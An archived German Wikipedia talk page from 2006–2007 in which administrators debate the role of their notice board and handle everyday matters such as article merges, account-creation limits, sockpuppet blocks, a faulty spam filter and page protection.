Wikipedia Diskussion:Administratoren/Notizen/Archiv/01

Dieses Diskussionsarchiv hat die empfohlene Seitengröße erreicht und gilt damit als abgeschlossen. Sein Inhalt sollte nicht mehr verändert werden (ausgenommen Kleinbearbeitungen wie Link- und Vorlagenfixe). Verwende für die Archivierung von Diskussionsbeiträgen bitte das aktuelle Archiv und benutze bitte für aktuelle Diskussionen die aktuelle Diskussionsseite. Um einen Abschnitt dieser Seite zu verlinken, klicke im Inhaltsverzeichnis auf den Abschnitt und kopiere dann Seitenname und Abschnittsüberschrift aus der Adresszeile deines Browsers, beispielsweise [[Wikipedia Diskussion:Administratoren/Notizen/Archiv/01#Abschnittsüberschrift]] oder als Weblink zur Verlinkung außerhalb der Wikipedia https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Administratoren/Notizen/Archiv/01#Abschnittsüberschrift

Zweck

Sinn dieser Seite soll hauptsächlich sein, dass sich Admins bei Situationen, in denen man sich vielleicht nicht ganz sicher ist. Teilweise geht es auch um Problemfälle, die etwas komplexer sind (bspw. die Antisemitismus-Sache vor kurzem) oder wo bisherige Mittel vielleicht versagt haben (bspw. Benutzer Wst). Ebenso könnten hier ungewöhnliche Vorfälle oder Vorgänge dokumentiert werden, die für andere Admins wesentlich sind. Die Seite dient nicht als Ersatz für eine bestehende Seite, noch soll sie in irgendwelchen formellen Verfahren ablaufen. Was denkt ihr? sebmol ^{? !} 14:17, 29. Nov. 2006 (CET)

Eine solche Seite hatte ich bisher vermisst. --Gerbil 16:35, 29. Nov. 2006 (CET)

• mal schauen wie es läuft - Sven-steffen arndt 00:55, 30. Nov. 2006 (CET)

Bitte lesen

[1]. -- Sir 10:25, 16. Dez. 2006 (CET)

für technisch nicht ganz so fitte: einsicht, seitenerstellung & löschung geht über [2] --JD {æ} 12:12, 16. Dez. 2006 (CET)

Artikel zusammenführen

Ich habe versucht die Artikel Espignole und Espingole nach Espingole zusammenzuführen, was mir – denk ich – auch gelungen ist, nun habe ich aber den Umstand, dass ich durch die Zusammenführung vermutlich einen überlappenden Zeitraum hergestellt habe. Jetzt ist doch die Vereinigung der Versionsgeschichten nicht mehr möglich, oder soll ich meine Bearbeitung löschen und dann die Zusammenführung der Versionsgeschichten versuchen? Als Text habe ich sie bereits auf die Diskussionsseite gesetzt. Hilfe! -- Achates ...zu alt für Popmusik? 14:41, 19. Dez. 2006 (CET)

M.E. ist es so ausreichend. Nun solltest Du noch in Espignole einen redirec auf Espingole eintragen. -- tsor 15:10, 19. Dez. 2006 (CET)

Mach ich. Danke! -- Achates ...zu alt für Popmusik? 15:18, 19. Dez. 2006 (CET)

Zweck dieser Seite

Aus der Beschreibung dieser Seite könnte man herauslesen, dass die Seite so etwas ähnliches wie en:WP:RFC für Verwaltungsaufgaben darstellt. Wollen wir das, oder soll die Seite wirklich nur als globaler Informationsaustausch zwischen administrativ tätigen genutzt werden? Wir sollten die Beschreibung dahingehend präziser formulieren. Ich persönlich hätte nichts dagegen, wenn hier auch Fragen, die häufiger bei WP:FZW auftauchen und eigentlich ausschließlich an Admins gerichtet sind, hier auftauchen zu lassen. --Taxman^¿Disk?_¡Rate! 17:04, 6. Jan. 2007 (CET)

Für wiederkehrende Fragen sollten wie lieber die FAQ ausbauen. Ebenso sollten wir auf Wikipedia:Fragen zur Wikipedia öfter auf die FAQ verweisen, dort stehen schon viele Antworten. -- tsor 17:15, 6. Jan. 2007 (CET)

Ich meinte eher so etwas wie die jüngste Anfrage zu Ole Nydahl. Das ist ja die Bitte um ein RfC, was durch "...Feedback von Administratoren einholen..." als möglich suggeriert wird. Ansonsten aber auch alle Anfragen, die von einem Admin durchgeführt werden müssen, aber nicht zu WP:VS oder WP:EW passen, wie etwa das einmalige Editieren von geschützten Seiten o.ä. Sowas kommt häufiger bei WP:FZW, ist aber nur für Admins relevant. --Taxman^¿Disk?_¡Rate! 19:04, 6. Jan. 2007 (CET)

Soulstrip

Da ist wohl was in den falschen Namensraum geraten und evtl. auch löschbedürftig - kann sich da bitte jmd. drum kümmern, wenns wer liest? Ich bin grad nicht mehr wirklich wach genug dazu... Danke, rdb? 02:08, 20. Jan. 2007 (CET)

keine Lizenz - gelöscht Ralf 02:14, 20. Jan. 2007 (CET)

*kopfschüttel*

Noch immer ist es möglich, daß ein Vollpfosten innerhalb von Sekunden oder Minuten sechs Accounts mit ein und derselben IP anlegen kann, wo einer auch reichen würde und das Problem vermutlich durch Ändern eines einzigen Zeichens behoben werden könnte. Wie lange soll dieser Irrsinn eigentlich noch weitergehen? --Fritz @ 23:39, 20. Jan. 2007 (CET)

Ich möchte die sperrenden Admins - mittlerweile zum dritten oder vierten Male - auf Punkt 5 hinweisen. Warum hält sich da keiner dran?? -- Sir 00:36, 21. Jan. 2007 (CET)

Manchmal ist es irgendwas zwischen Reflex und Seelenreinigung, sich NICHT dran zu halten. --Xocolatl 00:38, 21. Jan. 2007 (CET)

Tja, dann macht mal weiter so. *kopfschüttel* -- Sir 00:39, 21. Jan. 2007 (CET)

Sir nimmt mir die Worte aus dem Mund. Auch, wenn ich es verstehen kann. Sowas kommt nicht von allein. Ich weiß ja, dass es immer gut gemeint ist, aber … --G. ~~ 00:45, 21. Jan. 2007 (CET)

Vor allem sollte man die Idiotische "xy erstellt Benutzeraccount für yz" Aktion und den Accountspam unterbinden (die Bürokraten haben auch besseres zu tun, als alle möglichen blöden Accounts umzubenennen). Pro IP ein Account am Tag reicht normalerweise - und für die Ausnahmefälle könnte man Admins vielleicht ein Tool zur Verfügung stellen, das IPs Mehrfachaccountanlagen ermöglicht. -- Tobnu 00:46, 21. Jan. 2007 (CET)

Wer wäre ein konkreter Ansprechpartner für das Herabsetzen des Limits? --Polarlys 01:02, 21. Jan. 2007 (CET)

(BK) Ich mach bei dem Kindergarten nicht mehr mit. Wenn selbst die einfachsten technischen Möglichkeiten zur Eindämmung der Accountflut nicht genutzt werden, soll die WP meinetwegen an Benutzerleichen ersticken. --Fritz @ 00:49, 21. Jan. 2007 (CET)

was ist denn aus der Accountnamen-Blacklist geworden? - funktioniert die nicht? oder sind die Ersteller zu kreativ mit den Namen? - Sven-steffen arndt 00:51, 21. Jan. 2007 (CET)

Letzteres... sie machen sich ja auch noch lustig drüber... --Felix ^fragen! 00:52, 21. Jan. 2007 (CET)

Das war aber nun wirklich zu erwarten. —DerHexer (Disk., Bew.) 00:52, 21. Jan. 2007 (CET)

Überraschung.. -- southpark Köm ? | Review? 00:53, 21. Jan. 2007 (CET)

Viel Aufwand für nichts, wie zu erwarten. Aber eine Zahl von 6 auf 1 abzuändern, scheint technisch nicht machbar zu sein. --Fritz @ 00:58, 21. Jan. 2007 (CET)

[3], ganz unten. Bitte dort weiter. --G. ~~ 00:55, 21. Jan. 2007 (CET)

Ich hab' meine Bedenken zu dieser Art der Kommunikation Gardini geäußert. Wer wissen will, was diese sind, macht ein Query mit mir. —DerHexer (Disk., Bew.) 01:10, 21. Jan. 2007 (CET)

Vollsperre?

Die Vollsperrung der Seite wurde in der mittlerweile verschobenen Diskussion angedacht, ich würde das hier dann nochmal zur Diskussion stellen wollen. Damit diese Seite nicht zu einem Ersatz für WP:VS oder WP:AP verkommt, kann ich mich diesem Vorschlag nur anschließen. Soll heißen: Vollsperre für die Projektseite, die Diskussionsseite bleibt natürlich offen. Alternativ müsste man wohl ähnlich wie bei WP:AP alles sofort revertieren, was nicht dem Sinn dieser Seite entspricht. Grüße --Scherben 17:23, 23. Jan. 2007 (CET)

Dem kann ich mich nicht anschließen. Sinn dieser Seite ist ja auch, Fragen an Admins zu stellen, die für diese relevant waren. Dass die Boris-Geschichte eigentlich nicht dazu gehört, war relativ offensichtlich. Die hätte sofort mit einem Hinweis auf Boris' Diskussionsseite beendet werden sollen. Andererseits ist Feedback von Nicht-Admins bei einigen Dingen durchaus sinnvoll, ohne alles gleich auf FzW an die große Glocke zu hängen. Bei meiner Sperre im türkischen Bereich vor anderthalb Wochen, war meine Bitte um Kommentare nicht auf Admins beschränkt.

Was ich aber unterstützen würde, wäre eine bedeutend striktere Handhabung von Troll- und anderen Provokationsbeiträgen. Auch gegen eine Halbsperre habe ich keine Einwände, sind doch nicht- und neuangemeldete Benutzer eh noch nicht versiert genug, sich mit internen Wikipedia-Problemen zu beschäftigen ;-) sebmol ^{? !} 17:35, 23. Jan. 2007 (CET)

ACK Sebmol. Rechtzeitiges EOD sollte reichen. Stefan64 20:21, 23. Jan. 2007 (CET)

Sperrdauer einer alten Sperrung

Ich bin mir ziemlich sicher, dass das hier eine unbegrenzte Sperre war. Sieht aber ziemlich komisch aus mit den Dollars. Kann es sein, dass da was schiefläuft? --Eike 16:52, 3. Jun. 2007 (CEST)

Vielleicht postest Du dies doch besser unter Wikipedia Diskussion:Administratoren/Notizen, da Nicht-Admins keinen deiner beiden Links verfolgen können. --JuTa(♂) Talk 17:05, 3. Jun. 2007 (CEST)

(bis hierhin von WP:FZW hierher verschoben --Eike 17:12, 3. Jun. 2007 (CEST) )

Ja, kann sein. Das ist aber schon eine Weile her (ich habe sowas noch nie gesehen) und der Benutzer hat keine Edits seit der "Sperre" getätigt. Ist das eine grundsätzliche Frage oder siehst Du Handlungsbedarf? --AT talk 17:18, 3. Jun. 2007 (CEST)

In Bezug auf den Benutzer nicht. Aber es sieht ja schon nach einem Software-Bug aus, und der wär dann natürlich schon behandelnswert... --Eike 18:45, 3. Jun. 2007 (CEST)

Grundsätzlich richtig, aber das Problem ist, dass wir diesen Bug vermutlich so nicht mehr reproduzieren können, oder ist Dir das auch mal bei Sperren mit der aktuellen Version der Mediawiki-Software aufgefallen? --AT talk 18:54, 3. Jun. 2007 (CEST)

Ne, aber solange die Abfrage mit fehlerhaften Ergebnis reproduzierbar ist, sollte sich da was machen lassen, denke ich. Man kann bestimmt eine Abfrage mit korrektem Ergebnis hinkriegen, und vermutlich auch rausfinden, was da mal schiefgelaufen ist (oder noch läuft). Wer trägt es ein? --Eike 18:58, 3. Jun. 2007 (CEST)

Das weisst Du doch ganz genau: Immer der der fragt. :-D --AT talk 19:09, 3. Jun. 2007 (CEST)

Hängt möglicherweise mit der Umstellung des Logging-Mechanismus zusammen - früher wurde ja im Plaintext geloggt, während es dafür heute Tabellenstrukturen gibt. Möglicherweise kann sich das Raymond mal anschauen. -- srb ^♋ 19:11, 3. Jun. 2007 (CEST)

Die Sperre ist 2½ Jahre alt, in der Zwischenzeit wurden die Sperrmechanismen mehrfach überarbeitet. Jetzt noch herauszufinden, warum der Benutzer nicht mehr gesperrt ist, zumindest warum keine Sperre angezeigt wird, ist so gut wie unmöglich. Es gab früher einige Bugs, die zu den komischten Effekten führen konnte. Sollten Diskrepanzen bei aktuellen Sperren auffallen, ist es natürlich was anderes, dem sollte noch nachgegangen werden. Meine Empfehlung: neu sperren oder einfach vergessen. --Raymond ^{Disk. Bew.} 19:24, 3. Jun. 2007 (CEST)

Diese Seite …

Folgendes hierher verschoben von der Vorderseite --:Bdk: 19:54, 9. Jun. 2007 (CEST)

… wird in letzter Zeit immer mehr zur ausführlichen Diskussion genutzt, was einerseits erfreulich ist (dass die Kommunikation gut klappt), auf der anderen Seite aber auch schon zu gewissen Ermüdungserscheinungen geführt hat (zumindest bei mir und einigen anderen, die WP:AN bereits von ihrer Beob.liste geschmissen haben).

Ich möchte daher vorschlagen, zukünftig etwas konsequenter auf den Notiz-Charakter dieser Seite zu achten (um möglichst viele Admins konzentriert zu erreichen) und zu versuchen, thematische Diskussionen wie etwa diejenigen zu Benutzersperren, Versionslöschungen, Löschdiskussionen oder IP-Sperren auf die entsprechenden Seiten zu verfrachten (bzw. dort zu führen) und hier nur kurze Hinweise darauf zu hinterlassen bzw. wirklich nur Adminspezifisches hier zu klären. Dies hätte den Vorteil, dass entsprechende allgemeinere Diskussionen auch dauerhaft auf den eigentlich passenden Seiten zu finden sind, nicht nur nach wenigen Tagen in den Archiven der hiesigen Seite verschwinden. --:Bdk: 23:44, 8. Jun. 2007 (CEST)

kurz und knapp: +1 --JD {æ} 00:37, 9. Jun. 2007 (CEST)

+1 --poupou Review? 16:35, 9. Jun. 2007 (CEST)

Wie wäre es denn mit einer Auspaltung in zwei Seiten, die Notizen als Meldeseite mit schlanken Zweizeilereinträgen, die man dann auch mal für nen Monat stehenlassen kann und einer anderen Seite, die man als Admin-Talk einrichtet und die ein ähnliche Themenspektrum hat, wie diese Seite, auf der Admins aber auch aktuelle Fälle allgemein diskutieren können und sich Rat von Kollegen holen können (auf der evtl. aber auch Nichtadmins fragen an Admins stellen können)? -- ShaggeDoc Talk 16:11, 9. Jun. 2007 (CEST)

Hm, das hatte ich auch erst überlegt, aber dann verworfen. Eine weitere Seite ist m.E. unnötig. Es dürfte völlig ausreichen, thematisch eigentlich besser woandershin gehörende Sachen auch dort zu besprechen. Um das an zwei Beispielen deutlich zu machen, wie ich das meine: Die beiden obigen Diskussion zu Versionslöschungen sollten auf Wikipedia Diskussion:Versionslöschungen stattfinden, diejenige zu Benutzersperrungen auf Wikipedia Diskussion:Benutzersperrung. Hier sollte nur jeweils eine Frage bzw. ein Hinweis stehen nach dem Schema „bitte guckt mal dort, kann da wer helfen, Admin-Einschätzungen oder -Handeln erwünscht“ sowie evtl. Bearbeitungs/Erledigungsvermerke oder kurze sachdienliche Hinweise auf Weiteres dazu. Intention meines Vorschlages ist es mitnichten, die Diskussion hier komplett abzuwürgen. Bei Sachen wie z.B. den obigen Abschnitten zu Schmuel Streiml oder den IP-Sperrungen halte ich diese Seite durchaus für die passende. Ich würde es einfach nur begrüßen, wenn WP:AN zukünftig wieder etwas spezifischer und komprimierter genutzt würde :-)

Und ich bemerke gerade, dass ich demnach selbst diesen Abschnitt besser auf der Diskussionsseite platziert hätte, aber sei's drum ;-) --:Bdk: 16:42, 9. Jun. 2007 (CEST)

Dann bitte diese Hinweise auch tätigen, niemand hat derartige Meta-Seiten auf der Beobachtungsliste. --Polarlys 16:49, 9. Jun. 2007 (CEST)

Eben, dann doch lieber eine Zentraleseite, dann wird es nicht vergessen. -- ShaggeDoc Talk 16:54, 9. Jun. 2007 (CEST)

Ich hatte diese Seite Ende November neugestaltet, um einen Ort zu haben, wo sich Admins zu konkreten Situationen austauschen können und anfallende Probleme besprechen können, wie es so anderswo nicht vorgesehen ist. In vielen Fällen ist das auch gelungen, gelegentlich landen hier auch Themen, die so eher woanders hinpassen (insbesondere Vandalismusmeldungen, meist von Nichtadmins hier eingetragen). Dass diese Diskussionen hier auch stattfinden, zeigt m.E. dass der Bedarf durchaus vorhanden und dieses Forum auch dafür angenommen wird. sebmol ^{? !} 16:57, 9. Jun. 2007 (CEST)

ich habe eher den eindruck, dass jeder lapidare hinweis jetzt auf einmal zu tode diskutiert wird, was für mich die konsequenz hat, reine hinweise für andere admins lieber fern der diskussionsmeute zu platzieren.--poupou Review? 17:51, 9. Jun. 2007 (CEST)

Deshalb nochmal der Vorschlag, warum nicht trennen, ne Info Seite und ne Diskussionsseite, wer keine Diskussionen mag, soll halt weg bleiben, aber hinterher auch nicht meckern, wenn er etwas nicht mitbekommen hat. Und wer auf der Meldeseite diskutieren will, wird sofort deadmint ;-) -- ShaggeDoc Talk 18:00, 9. Jun. 2007 (CEST)

Ich halte diesen Vorschlag für den besten. Um +1 mal in ganzen Sätzen zu formulieren ;-) --my name ¿? 18:51, 9. Jun. 2007 (CEST)

Ich plädiere nochmal dafür, thematische Diskussionen zusammenzuhalten, was i.e.L. bereits bestehende Seiten meint. Nur die Splittung in Melde- und eine neue Diskussionsseite ändert ja nichts an der u.a. von mir „bemängelten“ Nutzung zur Aufnahme allerlei eigentlich dafür unspezifischer Sachen. Aus Projektsicht dürfte es langfristig sinnvoller sein, wenn einmal geführte Diskussionen (Bsp. Benutzersperrungen) auch für die Allgemeinheit auf der entsprechenden Seite nachgelesen, nicht nur über die Suche in einem Adminnotiz-Archiv entdeckt werden können. So ist es (oder war mal) u.a. bei den FzW gute Praxis, entsprechende Abschnitte zur eigentlich passenden Seite zu übertragen, einen kurzen Hinweis zum neuen Ort zu belassen und dann dort weiter zu diskutieren.

Grundsätzlich stört mich die Nutzung dieser Seite zur wirklich adminbezogenen Diskussion nicht, falls das warum auch immer missverständlich gewesen sein sollte. --:Bdk: 19:20, 9. Jun. 2007 (CEST)

Die Diskussionen auf den spezifischen Diskussionsseiten interessieren aber so ziemlich niemanden. Anfragen vergammeln dort teilweise. Und - das Argument von Polarlys ist ziemlich schwer zu entkräften - wer will die ganzen Seiten schon beobachten. Meine Beo ist dank OTRS schon lang genug. Eine Admindiskussionsseite kann aber jeder beobachten. -- ShaggeDoc Talk 19:26, 9. Jun. 2007 (CEST)

Ähem, eben dazu sollte auf dieser Seite dann doch ein Hinweis erfolgen, was dann die Beobachtung spart … ^^ --:Bdk: 19:30, 9. Jun. 2007 (CEST)

Öhm, und wie bitte schön möchtest du sicherstellen, dass dies auch geschieht? Mal abgesehen davon, muss man die Diskussion trotzdem auf die Beo setzen um den Verlauf zu verfolgen. -- ShaggeDoc Talk 19:32, 9. Jun. 2007 (CEST)

Vorstehendes hierher verschoben von der Vorderseite --:Bdk: 19:54, 9. Jun. 2007 (CEST)

Sicherstellen? Diese Adminnotizseite wird genutzt, um die Aufmerksamkeit möglichst vieler Admins zu erreichen. Eine Sache, die mit zunehmender Editzahl/Diskussionsbreite und -länge logischerweise sinkt. Das „Sicherstellen“ geschieht gnaz automatisch auf Grund des Wunsches der Eintragenden, genau diese Aufmerksamkeit zu erreichen.

Nun, ich nehme schlichterdings an, dass die Effektivität hier wieder steigt, wenn wichtige Hinweise möglichst kurz eingebracht und eben bei Bedarf auch andere Seiten verlinkt werden, um dort die nötige Aufmerksamkeit zu erreichen. Eine überschaubarere WP:AN-Seite in den Beobachtungslisten hätte den Vorteil, dass mehr Admins wirklich Notiz von wesentlichen Vorgängen nehmen, sie gleichzeitig aber selbst entscheiden können, ob der jeweilige Punkt für sie interessant erscheint. --:Bdk: 20:02, 9. Jun. 2007 (CEST)

Was kein Grund gegen eine zentrale Diskussionsseite ist. -- ShaggeDoc Talk 20:04, 9. Jun. 2007 (CEST)

*seufz* Ich habe doch nichts gegen eine weitere/neue Diskussionsseite für Admins, ich halte sie nur nicht für nötig, sofern die vorhandene Adminnotizseite einfach konsequenter und konzentrierter genutzt wird. Und genau um diesen Punkt ging es mir, als ich den obigen Vorschlag gemacht habe (um die effektivere Nutzung der bestehenden Seite). --:Bdk: 20:13, 9. Jun. 2007 (CEST)

Warum hast du das dann nicht gleich gesagt? Eigentlich geht es seit 16:11 um nichts anderes. Oder habe ich die Kollegen Polarlys, sebmol, My name da falsch verstanden? (Kann mich ja auch mal irren.) -- ShaggeDoc Talk 20:18, 9. Jun. 2007 (CEST)

Heh, vermutlich drück ich mich irgendwie verquer aus, auch wenn ich selbst – wie sollte es anders sein ;-) – der Ansicht bin, dass das einleitende Posting durchaus verständlich formuliert ist. Wie auch immer, der Samstagabend ruft. --:Bdk: 20:24, 9. Jun. 2007 (CEST)

Es war klar und deutlich. Ich jedenfalls habs gleich beim ersten Mal verstanden … vielleicht tröstet Dich das ein bisschen ;)) --Henriette 01:35, 10. Jun. 2007 (CEST)

<Klugscheissermodus> Zitat Bdk 16:42 "Hm, das hatte ich auch erst überlegt, aber dann verworfen. Eine weitere Seite ist m.E. unnötig. Es dürfte völlig ausreichen, thematisch eigentlich besser woandershin gehörende Sachen auch dort zu besprechen." Nachdem von mir 16:11 der Vorschlag gemacht wurde statt dieser Seite hier zwei Seiten "Wie wäre es denn mit einer Auspaltung in zwei Seiten..." zu machen. Klingt deutlich nach einer Ablehnung. </Klugscheissermodus> ;-) -- ShaggeDoc Talk 01:53, 10. Jun. 2007 (CEST)

Benutzer Diskussion:Dr. Volkmar Weiss

Auf diese Seite Benutzer Diskussion:Dr. Volkmar Weiss#WP:AP Wikipedia:Administratoren/Probleme/Antrag auf Sperrung des Administrators Gerbil wurden offenbar Textpassagen kopiert, die andernorts gelöscht worden waren. Dort wird mir (ohne Angabe konkreter Belege) u.a. unterstellt, ich hätte Versionslöschungen im Umfeld der vom Seiteninhaber gepflegten Artikel vorgenommen. Richtig ist, dass ich keine einzige Seitenlöschung vorgenommen habe. Ferner wird behauptet, ich hätte einen Benutzer infinit gesperrt, was ebenfalls unrichtig ist [4]. Diese mir erst nach Löschung am Originalort bekannt gewordenen, falschen Tatsachenbehauptungen, gewürzt mit diversen persönlichen Herabsetzungen, können von unbefangenen Lesern als wahrheitsgemäß missverstanden werden. Ich bitte daher um Löschung der betreffenden Versionen auf dieser Benutzer-Disk.-Seite. Gerbil 12:40, 10. Jun. 2007 (CEST)

Sowas gehört eigentlich nach WP:LKV, wobei ich aber eine Versionslöschung für weder angebracht noch ratsam halte, weil damit auch einiges Wesentliches über den fraglichen Benutzer verloren gehen würde. Will sagen: die Art und Weise, wie sich der Benutzer dort darstellt und auf Anfragen reagiert, spricht eigentlich für sich und invalidiert seine Behauptungen recht trefflich. sebmol ^{? !} 12:45, 10. Jun. 2007 (CEST)

+1. Der Kommentar von Sicherlich ist ebenfalls aufklärend. Das ganze entwickelt sich derzeit ohnehin in Richtung BS. --Taxman^¿Disk?_¡Rate! 12:59, 10. Jun. 2007 (CEST)

• haie Gerbil hier zum lesen wenn du magst; da der Benutzer nicht in der lage oder willens war belege für seine behauptungen zu erbringen wurde die sache "eingestampft" ...Sicherlich ^Post 17:02, 10. Jun. 2007 (CEST)

danke. Inzwischen ist mein Ärger auch verraucht; ich sollte nach einer längeren Fete wohl nicht übermüdet WP aufrufen. - Erfreulich ist eigentlich, dass Weiss offen bestätigt hat, dass es Benutzer:Migguy war, der mich und andere unter IP als "Linksfaschisten" bezeichnet hat und insofern dessen Sperrung unterfütterte. Gerbil 22:26, 10. Jun. 2007 (CEST)

Augustinus-Bekenntnisse

Augustinus-Bekenntnisse (Diskussion • Beiträge • gelöschte Beiträge • hochgeladene Dateien • SBL-Log • Sperr-Logbuch • globale Beiträge • SUL • Logbuch • sperren). Ich weiß nicht, ob ich ihn als Socke von GLGerman, Optimismus, BabyNeumann, alexander72 und/oder von sonst jemandem sperren soll, aber allmählich übertreibt er es. --Fritz @ 22:58, 1. Jul. 2007 (CEST)

Habe meine Favoriten in deiner List; den werde ich aber nicht nennen, da ich dann wieder der böse evangelikale Admin bin. Sperren ua wegen des Editwars auf der Diskussionsseite von Hansele und der gegen WP:AGF verstoßenden Sockenpuppenanschuldigungen gegen zahlreiche Benutzer - entweder weist man in diesem Fall auf ein laufendes CU-Verfahren hin oder man schweigt komplett. Mißbräuchlicher Account, eigentlich egal, von wem. --23:55, 1. Jul. 2007 (CEST)

Weblink-Spamfilter defekt?

Hi, kann es sein das jemand den Weblink-Spamfilter kaputtkonfiguriert hat? Mir scheint, dass ich keine Artikel mehr abspeichern kann, die irgendeinen Weblink enthalten, der ein kleines „s“ enthält. Aktuelles Beispiel: Ich wollte Begriffsklärungslinks in GONZO (Band) präzisieren und bekam die Meldung: „Der folgende Text wurde von dem Spam-Filter gefunden: http://www.gonzo-s“. In Wirklichkeit steht dort der Weblink „http://www.gonzo-schwabenrock.de“. --jpp ?! 16:22, 30. Jul. 2007 (CEST)

offensichtlich, siehe MediaWiki Diskussion:Spam-blacklist. Scheint aber an meta zu liegen --schlendrian •λ• 16:27, 30. Jul. 2007 (CEST)

Scheint jetzt wieder repariert zu sein. --jpp ?! 17:29, 30. Jul. 2007 (CEST) PS: Hey, die Seite kannte ich noch garnicht.

Sinn oder Unsinn dieser Seite

Die Administratoren-Notizen dienen dazu, die Zusammenarbeit unter den Administratoren besser zu koordinieren ...

Warum ist sie dann für Jedermann zugänglich? Könntet ihr eure Quengeleien nicht irgendwo in einem geschlossenen Bereich diskutieren, anstatt hier mit Diskussionen über Benutzer oder eigene Unzulänglichkeiten das Klima zu vergiften? --91.0.92.78 10:50, 10. Okt. 2007 (CEST)

das sorgt für transparenz. hinterzimmer führen imho zu mehr mauschelei(vorwürf)en. -- ∂ 10:52, 10. Okt. 2007 (CEST)

(BK)Vorwürfe sind doch immer da, das ist wie im richtigen Leben, wenn sich eine Gruppe von einer anderen abgrenzt. Aber das was auf dieser Seite läuft, ist für die Außenwahrnehmung der Wikipedia schädlich. Ihr solltet mal überlegen, ob das hier noch immer ein großer Spaß sein soll, oder ob die Wikipedia ein ernsthaftes und respektabeles "Unternehmen" ist.--91.0.92.78 11:08, 10. Okt. 2007 (CEST)

Zur Zeit benützt ihr die Seite ein wenig viel, scheint mir. Bei einigen der in letzter Zeit hier hindurchgerauschten Personalien hätte ich mir vorstellen können, dass man eher einen VA beruft. Andere sachliche Dinge hätte man auch per MB ansprechen können. So hätte man die Nicht-Admins nicht ausgeschlossen. igel+- 11:06, 10. Okt. 2007 (CEST)

Nichtadmins sind von dieser Seite nicht ausgeschlossen. Die Zielgruppe der Seite sind Admins, weil es um primär adminrelevante Themen geht (oder gehen soll). Das bedeutet aber keine Beschränkung auf Admins als Teilnehmer. sebmol ^{? !} 11:22, 10. Okt. 2007 (CEST)

Was Du mir auch mal erklären mußt. Wer kann besser als ein Admin selbst die Praxis seiner Arbeit beurteilen? Wenn das eine Arbeitsseite ist (so in der Art „Praxis und Probleme, die der Admin-Job mit sich bringt“), wieso reden da Nicht-Admins mit? Oder wie definierst Du sonst adminrelevante Themen? Und „Transparenz“: Herrjeh! lesen dürfen doch immer noch alle, oder? --Henriette 12:29, 10. Okt. 2007 (CEST)

Der außenstehende Blick ermöglicht einen weiteren Blickwinkel. --Chin tin tin 12:32, 10. Okt. 2007 (CEST)

(BK) "Wer kann besser als ein Admin selbst die Praxis seiner Arbeit beurteilen?" - Jemand mit Außenperspektive, der nicht von Betriebsblindheit befallen ist. sebmol ^{? !} 12:48, 10. Okt. 2007 (CEST)

Mal davon abgesehen, daß ich es grob unhöflich finde, wenn man mir pauschal Betriebsblindheit unterstellt: Danke für die Antworten. Diese Seite dient also der allgemeinen Evaluation der Admin-Tätigkeiten (= Außenperspektive)? Dazu lese ich an allen Ecken und Enden des Projektes etwas. Dann kann ich die Seite ja beruhigt von meiner Beob.-Liste nehmen. Ich dachte nämlich wirklich, hier handele es sich tatsächlich mal um eine Arbeits- und nicht um eine weitere Faselseite. --Henriette 13:02, 10. Okt. 2007 (CEST)

Und wenn es dann richtig unangenehm wird machen wir das Ding dann schnell dicht.--91.0.92.78 13:04, 10. Okt. 2007 (CEST)

Und wenn sogar die Anfrage der IP hier als Unsinn gelöscht, die zugegeben bissel provokant ist, wird da scheint was nicht zu stimmen ;-) Anton-Josef 13:08, 10. Okt. 2007 (CEST)

Wo ich gerade noch hier etwas notieren darf (auf jenen Edit hier von Benutzer TheK konnte ich nämlich letztlich nur so antworten): Wie ist denn, Anton-Josef, dein zwinkernder Smiley (;-)) in der vorigen Zeile „zu deuteln“? --85.176.165.2 19:06, 10. Okt. 2007 (CEST)

@ commons-Admin

Ich bitte einen auch auf commons tätigen Admin, diese Datei [5] endlich mal zu eliminieren. --Gerbil 16:30, 16. Okt. 2007 (CEST)

Erledigt. -- aka 16:35, 16. Okt. 2007 (CEST)

Danke (insbesondere im Namen der Betroffenen). --Gerbil 10:32, 17. Okt. 2007 (CEST)

WP:VM

Langsam gehen hier die freien Seiten aus.. [6] --84.57.135.65 10:43, 19. Okt. 2007 (CEST)

sorry, aber dort wurde massiv getrollt, deshalb musste ich die Seite für einige Tage halbsperren, bitte wende dich bei dringenden Meldungen direkt an einen Admin. Das weißt du ja aber auch -schlendrian •λ• 11:08, 19. Okt. 2007 (CEST)

Meint ihr eigentlich ernsthaft,...

...dass es Sinn macht, die Diskussionsseite zu WP:VM zu sperren, damit jetzt die Meldungen auf dieser Seite landen? Oder sonstwie über die WP verstreut werden? -- ShaggeDoc Talk 12:46, 19. Okt. 2007 (CEST)

Ich hab die Disk. mal versuchsweise freigegeben. Es war nur eine Kurzzeitsperre wegen akutem Trollbefall. --Fritz @ 12:47, 19. Okt. 2007 (CEST)

Pinky

Nach der Scheißhaufenvandaliererei von neulich hat "Pinky" heute versucht, anständig mitzuarbeiten, weswegen ich ihn ruhig beobachtet und nicht gleich abgeklemmt habe. Aber das Engagement im RC-Bereich hatte offensichtlich nur das Ziel, eine Entsperrung der VS-Diskussion zu erreichen, damit er dort meinen für ihn unangenehmen Beitrag entfernen konnte. Nun ja... die Range ist jetzt erstmal wieder dicht. --Fritz @ 13:21, 19. Okt. 2007 (CEST)

Bitte auch Benutzer Diskussion:87.160.199.36 beachten. Ich bin jetzt erstmal für zwei bis drei Stunden weg. --Fritz @ 13:46, 19. Okt. 2007 (CEST)

wer waren eigentlich die Arcor-84.57.x-IPs, die mit Pinky so Hand in Hand gearbeitet haben? --schlendrian •λ• 14:16, 19. Okt. 2007 (CEST)

Hm... ist mir gar nicht aufgefallen. Von der IP-Range her hätte das sogar ich sein können! :-) --Fritz @ 18:03, 19. Okt. 2007 (CEST)

Ungesperrte Seite gesucht, Adminhilfe nötig

Erinnert sich wer an den Stress um U 751? geht jetzt in Herdecke weiter, dort wird relevante literatur entfernt, nur weil der Autor sich in den letzten Jahren zum Nazi gewandelt zu haben scheint. kritik an den konkreten buchinhalten gibt es dabei nicht (zum teil im Klartext Verlag erschienen, der frei von Naziverdächtigungen sein dürfte).

Kann das nirgendwo eintragen, da alle Seiten WP:VM plus disku, WP:AN usw. gesperrt sind. bitte an passende stelle übertragen - 217.237.148.71 17:57, 19. Okt. 2007 (CEST)

Habe den Artikel halbgesperrt. --tsor 18:03, 19. Okt. 2007 (CEST)

archivierung

wie wäre es, auch hier mal einen archivbot einzusetzen? der kann ja mit einem großzügigen zeitintervall ausgestattet werden, z.b. 120 tage. dann müsste man hier nicht ganz solange scrollen...--poupou review? 23:58, 19. Okt. 2007 (CEST)

